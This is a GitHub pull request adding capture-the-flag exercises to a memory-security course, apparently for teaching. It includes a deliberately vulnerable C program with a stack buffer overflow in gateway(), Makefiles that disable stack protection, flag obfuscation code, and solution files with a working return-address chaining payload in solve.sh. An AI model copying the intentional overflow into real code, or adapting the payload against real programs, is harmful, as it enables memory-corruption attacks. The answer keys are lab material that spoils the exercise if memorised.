Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

chapters/memory-security/ctf: Add CTF lab #25

Merged
merged 1 commit into from
Dec 30, 2024
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
Original file line number Diff line number Diff line change
@@ -0,0 +1,7 @@
# Feeling Chained

Follow the sequence of operations in the functions of the binary at `feeling-chained/support/buff-ovf3`.
Identify the necessary ones and... you already know how to call them.

If you cannot find your way through this exercise, look for variables that you need to overwrite with specific values in order to finish the exploit, and think of their positioning on the stack.
The previously mentioned [online example](https://medium.com/@0x-Singularity/exploit-tutorial-understanding-buffer-overflows-d017108edc85) is still highly relevant.
Original file line number Diff line number Diff line change
@@ -0,0 +1,23 @@
CC = gcc
CFLAGS = -g -m32 -z execstack -fno-PIC -fno-stack-protector
LDFLAGS = -no-pie -m32
SRC_DIR = .
TARGET = buff-ovf3
OBJ = buff-ovf3.o

all: $(TARGET)

obfuscator: $(SRC_DIR)/obfuscator.c
$(CC) -o $@ $< -m32 -fno-stack-protector -z execstack -no-pie -Wall

deobfuscator: $(SRC_DIR)/deobfuscator.c
$(CC) -o $@ $< -m32 -fno-stack-protector -z execstack -no-pie -Wall

$(TARGET): $(OBJ)
$(CC) $(LDFLAGS) $(OBJ) -o $(TARGET)

$(OBJ): $(SRC_DIR)/buff-ovf3.c
$(CC) $(CFLAGS) -c $(SRC_DIR)/buff-ovf3.c

clean:
rm -rf $(OBJ) $(TARGET) obfuscator deobfuscator
Original file line number Diff line number Diff line change
@@ -0,0 +1,9 @@
# Solution

By using the buffer overflow in `gateway()`, functions `f1(56, 13)` and `f3(13)` need to be called in this order, with those exact parameters.
`f3` is the one that actually calls `get_flag()`.
Calling `get_flag()` directly shouldn't work (a global variable is checked to make sure all steps were made).

```sh
python3 -c 'import sys; sys.stdout.buffer.write(b"A"*22 + b"\x0c\x87\x04\x08" + b"\xb7\x86\x04\x08" + b"\x38\x00\x00\x00" + b"\x0d\x00\x00\x00")' | ./buff-ovf3
```
valudimi marked this conversation as resolved.
Show resolved Hide resolved
Original file line number Diff line number Diff line change
@@ -0,0 +1,85 @@
// SPDX-License-Identifier: BSD-3-Clause

#include <stdlib.h>
#include <stdio.h>
#include <string.h>

#define MAXC 1000

static int my_global_var;
static int my_other_global_var;

void get_flag(void)
{
const int start_offset = 5;
unsigned int seed = 42;

if (my_other_global_var != 0x7890) {
printf("You're cheating, mate. Try harder\n");
return;
}
/* Here goes the obfuscated flag outputed by obfuscate.c */
char *flag = "\x66\x3b\x70\x76\x76\x16\x2f\x4b\x38\x60\x4b\x31\x52\x5a\x4a\x37"
"\x20\x6c\x24\x21\x49\x5c\x08\x45\x41\x58\x39\x40\x35\x6f\x25\x43"
"\x31\x70\x6d\x71\x56\x1e\x0a\x11\x32\x61\x07\x64\x25\x0b\x4c\x31"
"\x0b\x43\x07\x0f\x7c\x4c\x0a\x6b\x37\x1d\x6c\x09\x70\x6a\x54\x5b"
"\x2d\x5d\x1a\x46\x31\x70\x24\x2b\x51\x2c\x6d\x06\x16\x47\x70\x4b"
"\x71";

int i = 0;
int iflag = 0;
int garbage;
char *res = (char *)malloc(MAXC);

while (flag[iflag]) {
garbage = rand_r(&seed) % 5;
while (garbage--) {
rand_r(&seed);
++iflag;
}
res[i++] = (flag[iflag] - 1) ^ ((start_offset + iflag) % 128) ^ (rand_r(&seed) % 128);
++iflag;
}
res[i] = 0;

puts(res);
}

void f3(int x)
{
if (x == 13 && my_global_var == 0x1234) {
my_other_global_var = 0x7890;
get_flag();
} else {
printf("You missed something\n");
}
}

void f2(void)
{
printf("I dont do nothing\n");
}

void f1(int a, int b)
{
if (a + b == 69) {
printf("You're doing great\n");
my_global_var = 0x1234;
} else {
printf("You got the params wrong\n");
}
}

void gateway(void)
{
char buff1[10];

fgets(buff1, 300, stdin);
}

int main(void)
{
gateway();

return 0;
}
Original file line number Diff line number Diff line change
@@ -0,0 +1,65 @@
// SPDX-License-Identifier: BSD-3-Clause

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#define MAXC 1000

void hex_to_bytes(const char *hex_str, unsigned char *bytes, int *len)
{
const char *pos = hex_str;
*len = 0;

int ret;

while (*pos && *(pos + 1)) {
if (*pos == '\\' && *(pos + 1) == 'x') {
ret = sscanf(pos + 2, "%2hhx", &bytes[*len]);
if (ret != 1)
exit(EXIT_FAILURE);
(*len)++;
pos += 4;
} else {
pos++;
}
}
}

void get_flag(unsigned char *flag, int len)
{
const int start_offset = 5;
unsigned int seed = 42;
int i = 0, iflag = 0, garbage;
unsigned char *res = (unsigned char *) malloc(MAXC);

while (iflag < len) {
garbage = rand_r(&seed) % 5;
while (garbage--) {
rand_r(&seed);
++iflag;
}

res[i++] = (flag[iflag] - 1) ^ ((start_offset + iflag) % 128) ^ (rand_r(&seed) % 128);
++iflag;
}
res[i] = 0;

puts((const char *)res);
free(res);
}

int main(void)
{
char hex_input[MAXC];
unsigned char flag[MAXC];
int len;

printf("Enter the obfuscated flag (e.g. \\x66\\x3b...): ");
fgets(hex_input, MAXC, stdin);

hex_to_bytes(hex_input, flag, &len);

get_flag(flag, len);

return 0;
}
Original file line number Diff line number Diff line change
@@ -0,0 +1,46 @@
// SPDX-License-Identifier: BSD-3-Clause

#include <stdio.h>
#include <stdlib.h>
#define MAXC 1000

const int start_offset = 5;
unsigned int seed = 42;

unsigned char *obfuscate(unsigned char *s)
{
int i = 0;
int garbage;
unsigned char *res = (unsigned char *) malloc(10 * MAXC);

while (*s) {
garbage = rand_r(&seed) % 5;
while (garbage--)
res[i++] = rand_r(&seed) % 127 + 1;
res[i] = ((*s) ^ ((start_offset + i) % 128) ^ (rand_r(&seed) % 128)) + 1;
++i;
++s;
}
res[i] = 0;

return res;
}

int main(void)
{
unsigned char s[MAXC];

scanf("%s", s);

unsigned char *s_obfuscated = obfuscate(s);
unsigned char *p = s_obfuscated;

while (*p) {
printf("\\x%02x", *p);
++p;
}

free(s_obfuscated);

return 0;
}
Original file line number Diff line number Diff line change
@@ -0,0 +1,6 @@
#!/bin/bash
# SPDX-License-Identifier: BSD-3-Clause

teodutu marked this conversation as resolved.
Show resolved Hide resolved
python3 -c \
'import sys; sys.stdout.buffer.write(b"A"*22 + b"\x0c\x87\x04\x08" + b"\xb7\x86\x04\x08" + b"\x38\x00\x00\x00" + b"\x0d\x00\x00\x00")' \

Check failure on line 5 in chapters/memory-security/ctf/drills/tasks/feeling-chained/solution/solve.sh

View workflow job for this annotation

GitHub Actions / Checkpatch

WARNING:LONG_LINE: line length of 140 exceeds 120 columns
../support/buff-ovf3
Binary file not shown.
Original file line number Diff line number Diff line change
@@ -0,0 +1,7 @@
# Hidden in Plain Sight

The `hidden-in-plain-sight-1/support/link` binary provides everything you need.
Find a way to use it.
> **TIP:** If you want a main function to be done right, you gotta do it yourself.

If you are having trouble solving this exercise, check [this](https://stackoverflow.com/questions/15441877/how-do-i-link-object-files-in-c-fails-with-undefined-symbols-for-architecture).
Original file line number Diff line number Diff line change
@@ -0,0 +1,25 @@
CC = gcc
CFLAGS = -g -m32 -z execstack -fno-PIC -fno-stack-protector
LDFLAGS = -no-pie -m32
SRC_DIR = .
TARGET = main

all: $(TARGET)

obfuscator: $(SRC_DIR)/obfuscator.c
$(CC) -o $@ $< -m32 -fno-stack-protector -z execstack -no-pie -Wall

deobfuscator: $(SRC_DIR)/deobfuscator.c
$(CC) -o $@ $< -m32 -fno-stack-protector -z execstack -no-pie -Wall

link: $(SRC_DIR)/link.c
$(CC) $(CFLAGS) -c -o $@ $<

$(TARGET): link main.o
$(CC) $(LDFLAGS) link main.o -o $(TARGET)

main.o: $(SRC_DIR)/main.c
$(CC) $(CFLAGS) -c -o main.o $(SRC_DIR)/main.c

clean:
rm -rf link main.o $(TARGET) obfuscator deobfuscator
Original file line number Diff line number Diff line change
@@ -0,0 +1,11 @@
# Solution

Looking at the disassembly of the `link` binary, it is noticeable that there is no `main()` function.
This is a clear indicator that we have to find a way to call it ourselves.

We define a `get_flag()` function prototype as void (you may be able to skip this step, but there will be an implicit declaration error during compilation) and we call it in our main function.
We then compile and assemble the file:
`gcc -g -m32 -fno-PIC -c main.c`

We then link it to the `link` binary:
`gcc -no-pie -m32 link main.o -o a.out`
Original file line number Diff line number Diff line change
@@ -0,0 +1,65 @@
// SPDX-License-Identifier: BSD-3-Clause

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#define MAXC 1000

void hex_to_bytes(const char *hex_str, unsigned char *bytes, int *len)
{
const char *pos = hex_str;
*len = 0;

int ret;

while (*pos && *(pos + 1)) {
if (*pos == '\\' && *(pos + 1) == 'x') {
ret = sscanf(pos + 2, "%2hhx", &bytes[*len]);
if (ret != 1)
exit(EXIT_FAILURE);
(*len)++;
pos += 4;
} else {
pos++;
}
}
}

void get_flag(unsigned char *flag, int len)
{
const int start_offset = 5;
unsigned int seed = 42;
int i = 0, iflag = 0, garbage;
unsigned char *res = (unsigned char *) malloc(MAXC);

while (iflag < len) {
garbage = rand_r(&seed) % 5;
while (garbage--) {
rand_r(&seed);
++iflag;
}

res[i++] = (flag[iflag] - 1) ^ ((start_offset + iflag) % 128) ^ (rand_r(&seed) % 128);
++iflag;
}
res[i] = 0;

puts((const char *)res);
free(res);
}

int main(void)
{
char hex_input[MAXC];
unsigned char flag[MAXC];
int len;

printf("Enter the obfuscated flag (e.g. \\x66\\x3b...): ");
fgets(hex_input, MAXC, stdin);

hex_to_bytes(hex_input, flag, &len);

get_flag(flag, len);

return 0;
}
Original file line number Diff line number Diff line change
@@ -0,0 +1,36 @@
// SPDX-License-Identifier: BSD-3-Clause

#include <stdio.h>
#include <stdlib.h>
#define MAXC 1000

void get_flag(void)
{
const int start_offset = 5;
unsigned int seed = 42;

/* Here goes the obfuscated flag outputed by obfuscate.c */
char *flag = "\x66\x3b\x70\x76\x76\x16\x2f\x4b\x38\x60\x4b\x31\x52\x5a\x5a\x37"
"\x20\x6a\x24\x21\x49\x72\x08\x45\x41\x1a\x25\x40\x35\x55\x25\x43"
"\x1c\x70\x6d\x7a\x56\x1e\x0a\x11\x0c\x61\x07\x64\x0d\x08\x51\x31"
"\x0b\x43\x07\x1e\x7c\x53\x0a\x52\x37\x59\x6c\x09\x70\x54\x54\x61"
"\x2d\x5d\x1a\x46\x35\x70\x24\x2b\x60";

int i = 0;
int iflag = 0;
int garbage;
char *res = (char *)malloc(MAXC);

while (flag[iflag]) {
garbage = rand_r(&seed) % 5;
while (garbage--) {
rand_r(&seed);
++iflag;
}
res[i++] = (flag[iflag] - 1) ^ ((start_offset + iflag) % 128) ^ (rand_r(&seed) % 128);
++iflag;
}
res[i] = 0;

puts(res);
}
Loading
Loading